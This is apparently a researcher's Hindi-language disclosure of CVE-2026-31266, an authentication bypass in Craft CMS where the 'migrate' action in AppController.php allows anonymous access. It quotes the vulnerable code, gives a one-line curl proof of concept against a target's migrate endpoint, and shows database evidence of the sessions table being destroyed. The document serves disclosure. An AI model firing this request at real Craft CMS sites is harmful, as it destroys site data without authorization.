CVE-2026-31266 - Craft CMS अनधिकृत पहुंच

CVE जानकारी

साक्ष्य सामग्री

• screenshots/ - प्रमाण-अवधारणा प्रदर्शन

भेद्यता

• प्रकार: अनधिकृत पहुंच
• प्रभाव: प्रमाणीकरण बायपास
• विक्रेता: Craft CMS
• स्थिति: CVE-2026-31266

भेद्य कोड

फ़ाइल: src/controllers/AppController.php

पंक्तियाँ 65-68:

protected array|bool|int $allowAnonymous = [
    'migrate' => self::ALLOW_ANONYMOUS_LIVE | self::ALLOW_ANONYMOUS_OFFLINE,
];

प्रमाण-अवधारणा

# With allowAdminChanges=false
curl -X POST "http://target/actions/app/migrate"

साक्ष्य

हमले से पहले:

mysql> SELECT COUNT(*) FROM sessions;
+----------+
| COUNT(*) |
+----------+
|        0 |
+----------+

हमले के बाद:

mysql> SELECT COUNT(*) FROM sessions;
ERROR 1146 (42S02): Table 'sessions' doesn't exist

संदर्भ

• Craft CMS रिपॉजिटरी
• Craft सुरक्षा दस्तावेज़ीकरण
• NVD प्रविष्टि

संपर्क

• सुरक्षा शोधकर्ता: 0xRIXET | Mohammed Al-shehri
• Twitter | X : @0xRIXET
• Email: [email protected]